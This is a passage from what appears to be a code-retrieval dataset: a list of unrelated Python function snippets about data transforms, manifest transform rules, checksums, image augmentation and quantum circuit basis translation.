matches, pkg_attrs, filename, lineno,\\n quote=True)\\n print(newmsg, file=sys.stderr)\\n sys.exit(exitval)\\n\\n operation = exit_func\\n\\n elif op[0] == \\\"add\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'add' operation syntax error\\\"\\n ).format(transform))\\n\\n def add_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newval = substitute_values(value, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr in action.attrs:\\n av = action.attrs[newattr]\\n if isinstance(av, list):\\n action.attrs[newattr].append(newval)\\n else:\\n action.attrs[newattr] = [ av, newval ]\\n else:\\n action.attrs[newattr] = newval\\n return action\\n operation = add_func\\n\\n elif op[0] == \\\"edit\\\":\\n if len(op) < 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'edit' operation syntax error\\\"\\n ).format(transform))\\n\\n args = shlex.split(op[1])\\n if len(args) not in [2, 3]:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'edit' operation syntax error\\\"\\n ).format(transform))\\n attr = args[0]\\n\\n # Run args[1] (the regexp) through substitute_values() with a\\n # bunch of bogus values to see whether it triggers certain\\n # exceptions. If it does, then substitution would have\\n # occurred, and we can't compile the regex now, but wait until\\n # we can correctly run substitute_values().\\n try:\\n substitute_values(args[1], None, [], None, None, None)\\n regexp = re.compile(args[1])\\n except (AttributeError, RuntimeError):\\n regexp = args[1]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has 'edit' operation \\\"\\n \\\"with malformed regexp ({err})\\\").format(\\n transform=transform, err=e))\\n\\n if len(args) == 3:\\n replace = args[2]\\n else:\\n replace = \\\"\\\"\\n\\n def replace_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newrep = substitute_values(replace, action, matches,\\n pkg_attrs, filename, lineno)\\n val = attrval_as_list(action.attrs, newattr)\\n\\n if not val:\\n return action\\n\\n # It's now appropriate to compile the regexp, if there\\n # are substitutions to be made. So do the substitution\\n # and compile the result.\\n if isinstance(regexp, basestring):\\n rx = re.compile(substitute_values(regexp,\\n action, matches, pkg_attrs, filename, lineno))\\n else:\\n rx = regexp\\n\\n try:\\n action.attrs[newattr] = [\\n rx.sub(newrep, v)\\n for v in val\\n ]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has edit \\\"\\n \\\"operation with replacement string regexp \\\"\\n \\\"error {err}\\\").format(\\n transform=transform, err=e))\\n return action\\n\\n operation = replace_func\\n\\n elif op[0] == \\\"delete\\\":\\n if len(op) < 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'delete' operation syntax error\\\"\\n ).format(transform))\\n\\n args = shlex.split(op[1])\\n if len(args) != 2:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'delete' operation syntax error\\\"\\n ).format(transform))\\n attr = args[0]\\n\\n try:\\n regexp = re.compile(args[1])\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has 'delete' operation\\\"\\n \\\"with malformed regexp ({err})\\\").format(\\n transform=transform, err=e))\\n\\n def delete_func(action, matches, pkg_attrs, filename, lineno):\\n val = attrval_as_list(action.attrs, attr)\\n if not val:\\n return action\\n try:\\n new_val = [\\n v\\n for v in val\\n if not regexp.search(v)\\n ]\\n\\n if new_val:\\n action.attrs[attr] = new_val\\n else:\\n del action.attrs[attr]\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has delete \\\"\\n \\\"operation with replacement string regexp \\\"\\n \\\"error {err}\\\").format(\\n transform=transform, err=e))\\n return action\\n\\n operation = delete_func\\n\\n elif op[0] == \\\"print\\\":\\n if len(op) > 2:\\n raise RuntimeError(_(\\\"transform ({0}) has 'print' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n if len(op) == 1:\\n msg = \\\"\\\"\\n else:\\n msg = op[1]\\n\\n def print_func(action, matches, pkg_attrs, filename, lineno):\\n newmsg = substitute_values(msg, action, matches,\\n pkg_attrs, filename, lineno, quote=True)\\n\\n printinfo.append(\\\"{0}\\\".format(newmsg))\\n return action\\n\\n operation = print_func\\n\\n elif op[0] == \\\"emit\\\":\\n if len(op) > 2:\\n raise RuntimeError(_(\\\"transform ({0}) has 'emit' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n if len(op) == 1:\\n msg = \\\"\\\"\\n else:\\n msg = op[1]\\n\\n def emit_func(action, matches, pkg_attrs, filename, lineno):\\n newmsg = substitute_values(msg, action, matches,\\n pkg_attrs, filename, lineno, quote=True)\\n\\n if not newmsg.strip() or newmsg.strip()[0] == \\\"#\\\":\\n return (newmsg, action)\\n try:\\n return (pkg.actions.fromstr(newmsg), action)\\n except (pkg.actions.MalformedActionError,\\n pkg.actions.UnknownActionError,\\n pkg.actions.InvalidActionError) as e:\\n raise RuntimeError(e)\\n\\n operation = emit_func\\n\\n else:\\n raise RuntimeError(_(\\\"unknown transform operation '{0}'\\\").format(op[0]))\\n\\n transforms.append((types, attrdict, operation, filename, lineno, transform))\",\n \"def transform(self, *fs):\\n return transform(self, *fs)\",\n \"def _calculate_transforms(self):\\n\\n self._logger.info(\\\"Generating transformations.\\\")\\n\\n # Calculate partial transforms - get partial transformation chain;\\n partial_transformation_pairs = \\\\\\n map(lambda idx: self._get_slice_pair(idx),\\n self.options.slice_range)\\n\\n # Flatten the slices pairs\\n partial_transformation_pairs =\\\\\\n list(flatten(partial_transformation_pairs))\\n\\n # If user decided to prealign the images by their centre of gravity\\n # an additional series of transformations has to be carried out.\\n if self.options.enableMomentsAlignment:\\n commands = map(lambda x: self._get_cog_alignment(*x),\\n partial_transformation_pairs)\\n commands = filter(None, commands)\\n\\n self._logger.info(\\\"Executing the centre of gravity transforms.\\\")\\n self.execute(commands)\\n\\n # Calculate affine transformation for each slices pair\\n commands = map(lambda x: self._get_partial_transform(*x),\\n partial_transformation_pairs)\\n commands = filter(None, commands)\\n self._logger.info(\\\"Executing the transformation commands.\\\")\\n self.execute(commands)\",\n \"def transform_fn(transforms, params, invert=False):\\n if invert:\\n transforms = {k: v.inv for k, v in transforms.items()}\\n return {k: transforms[k](v) if k in transforms else v\\n for k, v in params.items()}\",\n \"def transform(self, data):\",\n \"def apply(self, transform_func):\\n #input_shapes = transform_func.input_shapes\\n #input_types = transform_func.input_types\\n #data_shapes = transform_func.data_shapes\\n #data_types = transform_func.data_types\\n #assert input_shapes == self._data_shapes\\n #assert input_types = self._data_types\\n ret_gen = transform_func(self.generator)\\n ret = type(self).from_generator_func(ret_gen)\\n if self.name is not None:\\n ret.name = self.name\\n #ret.data_shapes = data_shapes\\n #ret.data_types = data_types\\n return ret\",\n \"def apply_param_transformations(self,params_edict,**kwargs):\\n if self.params_transforms == None:\\n return params_edict\\n for key,transform_function in self.params_transforms.items():\\n params_edict[key] = transform_function(params_edict,**kwargs)\\n return params_edict\",\n \"def apply(args):\\n html_doc = document.Document(get_code(args.file))\\n with open(args.transform_file, 'r', encoding='UTF-8') as tfr_file:\\n tfr_json = yaml.load(tfr_file)\\n not_applied = html_doc.apply(tfr_json)\\n\\n if len(not_applied) == 0:\\n print('All transforms applied.')\\n else:\\n print('The following transforms could not be applied:')\\n print(yaml.dump(not_applied))\\n set_code(args.file, html_doc)\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n for t in self.transforms:\\n results = t(results) # type: ignore\\n if results is None:\\n return None\\n return results\",\n \"def _get_checksum(self, arg):\",\n \"def tarsum(input_file, hash, output_file):\\n tar = tarfile.open(mode=\\\"r:*\\\", fileobj=input_file)\\n\\n chunk_size = 100*1024\\n store_digests = {}\\n\\n for member in tar:\\n if not member.isfile():\\n continue\\n f = tar.extractfile(member)\\n h = hashlib.new(hash)\\n data = f.read(chunk_size)\\n while data:\\n h.update(data)\\n data = f.read(chunk_size)\\n output_file.write(\\\"%s %s\\\\n\\\" % (h.hexdigest(), member.name))\",\n \"def get_all_transforms(self) -> Dict[str, Callable]:\\n # Convert magnitude to argument for each transform\\n level = self.magnitude / self._max_magnitude\\n angle = self.randomly_negate_level(level) * self._max_angle\\n x_shift = self.randomly_negate_level(level) * self._max_x_shift\\n y_shift = self.randomly_negate_level(level) * self._max_y_shift\\n # Contrast / brightness factor of 1 means no change. 0 means black, 2 means times 2.\\n contrast = self.randomly_negate_level(level) * self._max_contrast + 1\\n brightness = self.randomly_negate_level(level) * self._max_brightness + 1\\n transforms_dict = {\\n \\\"identity\\\": self.identity(),\\n \\\"rotate\\\": self.rotate(angle),\\n \\\"translateX\\\": self.translateX(x_shift),\\n \\\"translateY\\\": self.translateY(y_shift),\\n \\\"hFlip\\\": self.horizontal_flip()\\n }\\n if self.for_segmentation_input_maps:\\n return transforms_dict\\n\\n transforms_dict.update(\\n {\\\"constrast\\\": self.adjust_contrast(contrast),\\n \\\"brightness\\\": self.adjust_brightness(brightness),\\n })\\n\\n return transforms_dict\",\n \"def map_dict(dictionary, transform):\\n return dict(transform(k, v) for k, v in dictionary.items())\",\n \"def _apply_transformations(structure, rotations, translations):\\n # Additional first dimension for 'structure.repeat()'\\n assembly_coord = np.zeros((len(rotations),) + structure.coord.shape)\\n\\n # Apply corresponding transformation for each copy in the assembly\\n for i, (rotation, translation) in enumerate(zip(rotations, translations)):\\n coord = structure.coord\\n # Rotate\\n coord = matrix_rotate(coord, rotation)\\n # Translate\\n coord += translation\\n assembly_coord[i] = coord\\n\\n return repeat(structure, assembly_coord)\",\n \"def apply(hash_value: str, dir_path: str, file_path: str) -> None:\\n core.apply(hash_value, dir_path, file_path)\",\n \"def attrTransform(self, matrix, transform):\\n for ttype, targs in self.reTransformFind.findall(transform):\\n targs = list(map(lambda x: float(x), self.reNumberFind.findall(targs)))\\n if ttype == 'matrix':\\n newmatrix = [ targs[0], targs[1],\\n targs[2], targs[3],\\n targs[4], targs[5] ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'translate':\\n tx = targs[0]\\n ty = targs[1] if len(targs) > 1 else 0\\n newmatrix = [ 1, 0, 0, 1, tx, ty ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'scale':\\n sx = targs[0]\\n sy = targs[1] if len(targs) > 1 else sx\\n newmatrix = [ sx, 0, 0, sy, 0, 0 ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'rotate':\\n if len(targs) == 1:\\n alpha = targs[0]\\n newmatrix = [ math.cos(alpha), math.sin(alpha),\\n -math.sin(alpha), math.cos(alpha),\\n 0, 0]\\n self.matrixMul(matrix, newmatrix)\\n else:\\n alpha = targs[0]\\n newmatrix = [ 1, 0, 0, 1, targs[1], targs[2] ]\\n self.matrixMul(matrix, newmatrix)\\n newmatrix = [ math.cos(alpha), math.sin(alpha),\\n -math.sin(alpha), math.cos(alpha),\\n 0, 0]\\n self.matrixMul(matrix, newmatrix)\\n newmatrix = [ 1, 0, 0, 1, -targs[1], -targs[2] ]\\n self.matrixMul(matrix, newmatrix)\\n elif ttype == 'skewX' or ttype == 'skewY':\\n self.alert(\\\"skewX and skewY transformations are not supported\\\", elem)\\n else:\\n print('unknown transform type: ', ttype)\\n return matrix\",\n \"def evolve(transformations, object):\\n o = clone(object)\\n for k, v in transformations.items():\\n try:\\n if isinstance(v, dict):\\n o[k] = evolve(v, o[k])\\n else:\\n o[k] = v(o[k])\\n except KeyError:\\n continue\\n\\n return o\",\n \"def run_suite():\\n print(\\\"*Input*\\\")\\n input_str = get_input()\\n stripped = strip(input_str)\\n\\n print(\\\"*Transform*\\\")\\n operation, transformed = transform(stripped)\\n\\n print(\\\"*Output*\\\")\\n output(operation, transformed)\",\n \"def _add_checksum(self, dct):\\n md5_cksum = None\",\n \"def append_transformations(self, parameter_dict):\\n parameter_dicts_from_transformations = [\\n x.transform(self.data_dict, parameter_dict) for x in self.transformations\\n ]\\n for parameter_dict_from_transformations in parameter_dicts_from_transformations:\\n parameter_dict.update(parameter_dict_from_transformations)\\n\\n return parameter_dict\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n idx = self.random_pipeline_index()\\n return self.transforms[idx](results)\",\n \"def transform_(self, input, format, signature=None):\\n\\n if self.cache:\\n if signature is None:\\n use_signature = self.update_signature(\\n input, format).hexdigest()\\n else:\\n use_signature = signature\\n\\n cache_file = os.path.join(self.cache_dir, use_signature)\\n if self.cache == 2 and os.path.exists(cache_file):\\n # User wants to clobber cache\\n os.remove(cache_file)\\n\\n try:\\n result = self.load(use_signature)\\n if self._verbose:\\n self._print(\\\"Loaded results from cache file {} using signature: {}\\\".format(\\n cache_file, use_signature))\\n except Exception:\\n if signature is None:\\n signature = self.update_signature(\\n input, format).hexdigest()\\n result = self.transform(input, format)\\n if self.cache > 0: # Ok user wants to cache results\\n if not os.path.exists(self.cache_dir):\\n os.makedirs(self.cache_dir)\\n self.save(signature, result)\\n else:\\n result = self.transform(input, format)\\n return result\",\n \"def step_impl(context, objects_type):\\n log.info(\\\"=====> Ensure that the md5sum of the objects retrieved from the Cache matches the md5sum of the original object\\\")\\n\\n if objects_type == \\\"ObjectsTest1\\\":\\n object_list = resourceset_parameters.ObjectsTest1\\n elif objects_type == \\\"ObjectsTest2\\\":\\n object_list = resourceset_parameters.ObjectsTest2\\n elif objects_type == \\\"ObjectsTest4\\\":\\n object_list = resourceset_parameters.ObjectsTest4\\n else:\\n assert False, \\\" ****> Failed: No objects_type parameter while posting. Got: {objects_type}\\\".format(objects_type=objects_type)\\n\\n for i in object_list:\\n command = \\\"md5sum /tmp/\\\" + resourceset_parameters.Object_names[i] + \\\" | awk '{print $1}'\\\"\\n result = send_telnet_command(command)\\n if md5_of_files[i] in result:\\n log.info(\\\" *****> Passed: The md5sum of the {object_names} matches the value previously obtained\\\".format(object_names=resourceset_parameters.Object_names[i]))\\n else:\\n assert False, \\\" *****> Failed: The md5sum of the {object_names} does not match the value previously obtained\\\".format(object_names=resourceset_parameters.Object_names[i])\",\n \"def process_input(input_dict, UUID=None, build=True):\\n # Set script's name\\n input_dict['script'] = script\\n \\n # Set calculation UUID\\n if UUID is not None:\\n input_dict['calc_key'] = UUID\\n else:\\n input_dict['calc_key'] = input_dict.get('calc_key', str(uuid.uuid4()))\\n \\n # Set default input/output units\\n iprPy.input.subset('units').interpret(input_dict)\\n \\n # These are calculation-specific default strings\\n input_dict['symbols'] = input_dict['symbols'].split()\\n \\n # These are calculation-specific default booleans\\n # None for this calculation\\n \\n # These are calculation-specific default integers\\n input_dict['number_of_steps_r'] = int(input_dict.get('number_of_steps_r', 100))\\n input_dict['number_of_steps_theta'] = int(input_dict.get('number_of_steps_theta', 100))\\n \\n # These are calculation-specific default unitless floats\\n input_dict['minimum_theta'] = float(input_dict.get('minimum_theta', 1.0))\\n input_dict['maximum_theta'] = float(input_dict.get('maximum_theta', 180.0))\\n \\n # These are calculation-specific default floats with units\\n input_dict['minimum_r'] = iprPy.input.value(input_dict, 'minimum_r',\\n default_unit=input_dict['length_unit'],\\n default_term='0.5 angstrom')\\n input_dict['maximum_r'] = iprPy.input.value(input_dict, 'maximum_r',\\n default_unit=input_dict['length_unit'],\\n default_term='5.5 angstrom')\\n \\n # Check lammps_command and mpi_command\\n iprPy.input.subset('lammps_commands').interpret(input_dict)\\n \\n # Load potential\\n iprPy.input.subset('lammps_potential').interpret(input_dict)\",\n \"def Do(self, input_dict: Dict[str, List[types.Artifact]],\\n output_dict: Dict[str, List[types.Artifact]],\\n exec_properties: Dict[str, Any]) -> None:\\n for output_key, artifact_list in output_dict.items():\\n for idx, artifact in enumerate(artifact_list):\\n dest = artifact.uri\\n src = os.path.join(self._test_data_dir, self._component_id, output_key,\\n str(idx))\\n if not fileio.exists(src):\\n raise FileNotFoundError(\\\"{} does not exist\\\".format(src))\\n io_utils.copy_dir(src, dest)\\n logging.info(\\\"Finished copying from %s to %s\\\", src, dest)\",\n \"def transform(self, results: Dict) -> Optional[Dict]:\\n if self.random_apply():\\n return self.transforms(results) # type: ignore\\n else:\\n return results\",\n \"def transform(self, inputs: list, stage: str) -> datapack.DataPack:\",\n \"def process(self):\\n self.extract()\\n self.transform()\\n self.load()\",\n \"def main():\\n\\n ruleset, meta = parse_input(get_input())\\n start, steps = meta\\n x = run(ruleset, start, steps)\\n print(\\\"Checksum is {}.\\\".format(x))\\n\\n return\",\n \"def _init_transform(self, operation, **kwargs):\\n self._operation = operation\\n transform = partial(self.__class__.operation_transform, operation=operation)\\n return transform, kwargs\",\n \"def _compose_transforms(basis_transforms, source_basis, source_dag):\\n example_gates = _get_example_gates(source_dag)\\n mapped_instrs = {}\\n\\n for gate_name, gate_num_qubits in source_basis:\\n # Need to grab a gate instance to find num_qubits and num_params.\\n # Can be removed following https://github.com/Qiskit/qiskit-terra/pull/3947 .\\n example_gate = example_gates[gate_name, gate_num_qubits]\\n num_params = len(example_gate.params)\\n\\n placeholder_params = ParameterVector(gate_name, num_params)\\n placeholder_gate = Gate(gate_name, gate_num_qubits, list(placeholder_params))\\n placeholder_gate.params = list(placeholder_params)\\n\\n dag = DAGCircuit()\\n qr = QuantumRegister(gate_num_qubits)\\n dag.add_qreg(qr)\\n dag.apply_operation_back(placeholder_gate, qr[:], [])\\n mapped_instrs[gate_name, gate_num_qubits] = placeholder_params, dag\\n\\n for gate_name, gate_num_qubits, equiv_params, equiv in basis_transforms:\\n logger.debug(\\n \\\"Composing transform step: %s/%s %s =>\\\\n%s\\\",\\n gate_name,\\n gate_num_qubits,\\n equiv_params,\\n equiv,\\n )\\n\\n for mapped_instr_name, (dag_params, dag) in mapped_instrs.items():\\n doomed_nodes = [\\n node\\n for node in dag.op_nodes()\\n if (node.op.name, node.op.num_qubits) == (gate_name, gate_num_qubits)\\n ]\\n\\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\\n\\n logger.debug(\\n \\\"Updating transform for mapped instr %s %s from \\\\n%s\\\",\\n mapped_instr_name,\\n dag_params,\\n dag_to_circuit(dag, copy_operations=False),\\n )\\n\\n for node in doomed_nodes:\\n\\n replacement = equiv.assign_parameters(\\n dict(zip_longest(equiv_params, node.op.params))\\n )\\n\\n replacement_dag = circuit_to_dag(replacement)\\n\\n dag.substitute_node_with_dag(node, replacement_dag)\\n\\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\\n\\n logger.debug(\\n \\\"Updated transform for mapped instr %s %s to\\\\n%s\\\",\\n mapped_instr_name,\\n dag_params,\\n dag_to_circuit(dag, copy_operations=False),\\n )\\n\\n return mapped_instrs\",\n \"def run(self, filekey, blobkey):\\n output = yield mapreduce_pipeline.MapreducePipeline(\\n \\\"daily_speed_sum\\\",\\n \\\"map_reduce.daily_speed_sum_map\\\",\\n \\\"map_reduce.daily_speed_sum_reduce\\\",\\n \\\"mapreduce.input_readers.BlobstoreZipLineInputReader\\\",\\n \\\"mapreduce.output_writers.BlobstoreOutputWriter\\\",\\n\\t\\tmapper_params={\\n\\t\\t\\t\\\"blob_keys\\\": blobkey,\\n },\\n reducer_params={\\n \\\"mime_type\\\": \\\"text/plain\\\",\\n },\\n shards=16)\\n yield StoreOutput(\\\"DailySpeedSum\\\", filekey, output)\",\n \"def _default_transform_fn(self, model, input_data, content_type, accept, context=None):\\n # pylint: disable=unused-argument\\n data = self._run_handler_function(self._input_fn, *(input_data, content_type))\\n prediction = self._run_handler_function(self._predict_fn, *(data, model))\\n result = self._run_handler_function(self._output_fn, *(prediction, accept))\\n return result\",\n \"def retransformation(decompressed_sequence:str, binary_dict:dict, calcul_byte:int):\\r\\n if calcul_byte != 0:\\r\\n calcul_byte = (8-calcul_byte)\\r\\n decompressed_sequence = decompressed_sequence[calcul_byte:]\\r\\n \\\"\\\"\\\"\\r\\n Allows you to remove the zeros added at the beginning of a binary \\r\\n string to make a multiple of 8\\r\\n \\\"\\\"\\\"\\r\\n decompress_sequence = \\\"\\\"\\r\\n counter = 0\\r\\n for position in range(0, len(decompressed_sequence)+1, 1):\\r\\n if decompressed_sequence[counter:position] in binary_dict.keys():\\r\\n decompress_sequence += binary_dict[decompressed_sequence[counter:position]]\\r\\n counter = position\\r\\n return decompressed_sequence, decompress_sequence\",\n \"def test_transform_file(self, mock_transform_object):\\n mock_transform_object.return_value = {}\\n with CliRunner().isolated_filesystem() as t:\\n transform_path = \\\"transform/out.jsonl.gz\\\"\\n\\n # Create works entity file\\n works = {\\\"works\\\": \\\"content\\\"}\\n works_download_path = \\\"works.jsonl.gz\\\"\\n with gzip.open(works_download_path, \\\"wt\\\", encoding=\\\"ascii\\\") as f_out:\\n json.dump(works, f_out)\\n\\n # Create other entity file (concepts or institution)\\n concepts = {\\\"concepts\\\": \\\"content\\\"}\\n concepts_download_path = \\\"concepts.jsonl.gz\\\"\\n with gzip.open(concepts_download_path, \\\"wt\\\", encoding=\\\"ascii\\\") as f_out:\\n json.dump(concepts, f_out)\\n\\n # Test when dir of transform path does not exist yet, using 'works' entity'\\n self.assertFalse(os.path.isdir(os.path.dirname(transform_path)))\\n\\n transform_file(works_download_path, transform_path)\\n mock_transform_object.assert_called_once_with(works, \\\"abstract_inverted_index\\\")\\n mock_transform_object.reset_mock()\\n os.remove(transform_path)\\n\\n # Test when dir of transform path does exist, using 'works' entity\\n self.assertTrue(os.path.isdir(os.path.dirname(transform_path)))\\n\\n transform_file(works_download_path, transform_path)\\n self.assert_file_integrity(transform_path, \\\"682a6d42\\\", \\\"gzip_crc\\\")\\n mock_transform_object.assert_called_once_with(works, \\\"abstract_inverted_index\\\")\\n mock_transform_object.reset_mock()\\n os.remove(transform_path)\\n\\n # Test for \\\"concepts\\\" and \\\"institution\\\" entities\\n transform_file(concepts_download_path, transform_path)\\n self.assert_file_integrity(transform_path, \\\"d8cafe16\\\", \\\"gzip_crc\\\")\\n mock_transform_object.assert_called_once_with(concepts, \\\"international\\\")\",\n \"def _set_transforms(self, transform: Dict[str, Union[Field, Dict]]) -> None:\\n columns: Union[int, List[int]]\\n\\n for k, t in enumerate(transform.items()):\\n name, value = t\\n if isinstance(value, Field):\\n field = value\\n columns = k\\n else:\\n try:\\n field, tmp_cols = value['field'], value.get('columns', k)\\n\\n # Process as list to avoid repeating code\\n if not isinstance(tmp_cols, List):\\n tmp_cols = [tmp_cols]\\n\\n for i, c in enumerate(tmp_cols[:]):\\n if isinstance(c, str):\\n if not self.named_columns:\\n raise ValueError(\\n \\\"Columns parameter is required for str-based indexing\\\"\\n )\\n try:\\n tmp_cols[i] = self.named_columns.index(c)\\n except ValueError:\\n raise ValueError(\\n f\\\"Dataset has no column name {c}. \\\" +\\n f\\\"Available columns: {self.named_columns}\\\"\\n )\\n\\n columns = tmp_cols\\n\\n # If it was a value originally then process\\n # it as a single value\\n if len(tmp_cols) == 1:\\n columns = tmp_cols[0]\\n\\n except KeyError:\\n raise ValueError(\\n f\\\"If a dict is provided in 'transform', then it must have the 'field' key.\\\"\\n f\\\" transform item = {k, t}\\\"\\n )\\n\\n setattr(self, name, field)\\n args = [self._train[:, columns]]\\n if self._val is not None:\\n args.append(self._val[:, columns])\\n if self._test is not None:\\n args.append(self._test[:, columns])\\n field.setup(*args)\\n self.transform_hooks.append((field, columns))\",\n \"def __call__(\\n self,\\n sample_dict: NDict,\\n key: str,\\n z_rot: float = 0.0,\\n y_rot: float = 0.0,\\n x_rot: float = 0,\\n ) -> NDict:\\n aug_input = sample_dict[key]\\n assert len(aug_input.shape) == 3 # will only work for 3d\\n if z_rot != 0:\\n aug_input = TTF.rotate(aug_input, angle=z_rot)\\n if x_rot != 0:\\n aug_input = aug_input.permute(dims=(2, 0, 1))\\n aug_input = TTF.rotate(aug_input, angle=x_rot)\\n aug_input = aug_input.permute(dims=(1, 2, 0))\\n if y_rot != 0:\\n aug_input = aug_input.permute(dims=(1, 0, 2))\\n aug_input = TTF.rotate(aug_input, angle=y_rot)\\n aug_input = aug_input.permute(dims=(1, 0, 2))\\n\\n sample_dict[key] = aug_input\\n return sample_dict\",\n \"def fit_transform(self, *args, **kwargs):\\n self.fit(*args, **kwargs)\\n return self.transform(*args, **kwargs)\",\n \"def transform(self, results: Dict):\\n\\n # Apply input remapping\\n inputs = self._map_input(results, self.mapping)\\n\\n # Scatter sequential inputs into a list\\n input_scatters = self.scatter_sequence(inputs)\\n\\n # Control random parameter sharing with a context manager\\n if self.share_random_params:\\n # The context manager :func`:cache_random_params` will let\\n # cacheable method of the transforms cache their outputs. Thus\\n # the random parameters will only generated once and shared\\n # by all data items.\\n ctx = cache_random_params # type: ignore\\n else:\\n ctx = nullcontext # type: ignore\\n\\n with ctx(self.transforms):\\n output_scatters = [\\n self._apply_transforms(_input) for _input in input_scatters\\n ]\\n\\n # Collate output scatters (list of dict to dict of list)\\n outputs = {\\n key: [_output[key] for _output in output_scatters]\\n for key in output_scatters[0]\\n }\\n\\n # Apply remapping\\n outputs = self._map_output(outputs, self.remapping)\\n\\n results.update(outputs)\\n return results\",\n \"def _calculate_composite_transforms(self):\\n\\n self._calculate_similarity()\\n # Finally, calculate composite transforms\\n commands = []\\n for moving_slice_index in self.options.slice_range:\\n commands.append(self._calculate_composite(moving_slice_index))\\n self.execute(commands)\\n\\n self._logger.info(\\\"Done with calculating the transformations.\\\")\",\n \"def transform(data: Dict, *modifiers: Callable[[Dict], None]) -> Dict:\\n for modify in modifiers:\\n modify(data)\\n return data\",\n \"def _apply(self, x, **kwargs):\\n return reduce(lambda x_i, tr: tr._apply(x_i), self.transforms, x)\",\n \"def _apply(self, x, **kwargs):\\n return self.transform._apply(x, **kwargs)\",\n \"def generateTests(self, dict, dictname='totest',\\n testmethod='test_transforms'):\\n for name, (transforms, cases) in dict.items():\\n for casenum in range(len(cases)):\\n case = cases[casenum]\\n run_in_debugger = 0\\n if len(case)==3:\\n if case[2]:\\n run_in_debugger = 1\\n else:\\n continue\\n self.addTestCase(\\n TransformTestCase, testmethod,\\n transforms=transforms, parser=self.parser,\\n input=case[0], expected=case[1],\\n id='%s[%r][%s]' % (dictname, name, casenum),\\n run_in_debugger=run_in_debugger)\",\n \"def transform(a, *fs):\\n raise NotImplementedError(\\n f'Input transforms not implemented for \\\"{type(a).__name__}\\\".'\\n )\",\n \"def _apply_pass(self, sdfg: SDFG, pipeline_results: Dict[str, Any], apply_once: bool) -> Dict[str, List[Any]]:\\n if self.progress is None and not Config.get_bool('progress'):\\n self.progress = False\\n\\n start = time.time()\\n\\n applied_transformations = collections.defaultdict(list)\\n xforms = self.transformations\\n match: Optional[xf.PatternTransformation] = None\\n\\n # Ensure transformations are unique\\n if len(xforms) != len(set(xforms)):\\n raise ValueError('Transformation set must be unique')\\n\\n if self.order_by_transformation:\\n applied_anything = True\\n while applied_anything:\\n applied_anything = False\\n for xform in xforms:\\n applied = True\\n while applied:\\n applied = False\\n for match in match_patterns(sdfg,\\n permissive=self.permissive,\\n patterns=[xform],\\n states=self.states,\\n metadata=self._metadata):\\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\\n applied = True\\n applied_anything = True\\n break\\n if apply_once:\\n break\\n else:\\n applied = True\\n while applied:\\n applied = False\\n # Find and apply one of the chosen transformations\\n for match in match_patterns(sdfg,\\n permissive=self.permissive,\\n patterns=xforms,\\n states=self.states,\\n metadata=self._metadata):\\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\\n applied = True\\n break\\n if apply_once:\\n break\\n\\n if self.validate:\\n try:\\n sdfg.validate()\\n except InvalidSDFGError as err:\\n if applied and match is not None:\\n raise InvalidSDFGError(\\\"Validation failed after applying {}.\\\".format(match.print_match(self)), self,\\n match.state_id) from err\\n else:\\n raise err\\n\\n if (len(applied_transformations) > 0\\n and (self.progress or self.print_report or\\n ((self.progress is None or self.print_report is None) and Config.get_bool('debugprint')))):\\n print('Applied {}.'.format(', '.join(['%d %s' % (len(v), k) for k, v in applied_transformations.items()])))\\n\\n if len(applied_transformations) == 0: # Signal that no transformation was applied\\n return None\\n return applied_transformations\",\n \"def transformation(self):\\n for key in self.combination_dict.keys():\\n if self.combination_dict[key]['column_count'] == 2:\\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'tem' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'tem':\\n self.temporal_transformation(self.combination_dict[key])\\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'cat' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'cat':\\n self.categorical_transformation(self.combination_dict[key])\\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num' and self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\\n self.numerical_transformation(self.combination_dict[key])\\n\\n elif self.combination_dict[key]['column_count'] == 3:\\n num_count = 0\\n num_column = []\\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(0)\\n elif self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(1)\\n elif self.data_dict[self.combination_dict[key]['column3']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(2)\\n\\n if num_count == 1:\\n self.three_column_groupby_logic(self.combination_dict[key], num_column)\\n\\n m_score_pie = []\\n m_score_bar = []\\n m_score_line = []\\n m_score_scatter = []\\n # for key in self.scenario_dict:\\n # if self.scenario_dict\\n for key in self.scenario_dict:\\n if math.isnan(self.scenario_dict[key][\\\"Scatter_chart_score\\\"]):\\n m_score_scatter.append(0)\\n else:\\n m_score_scatter.append(self.scenario_dict[key][\\\"Scatter_chart_score\\\"])\\n m_score_pie.append(self.scenario_dict[key][\\\"Pie_chart_score\\\"])\\n 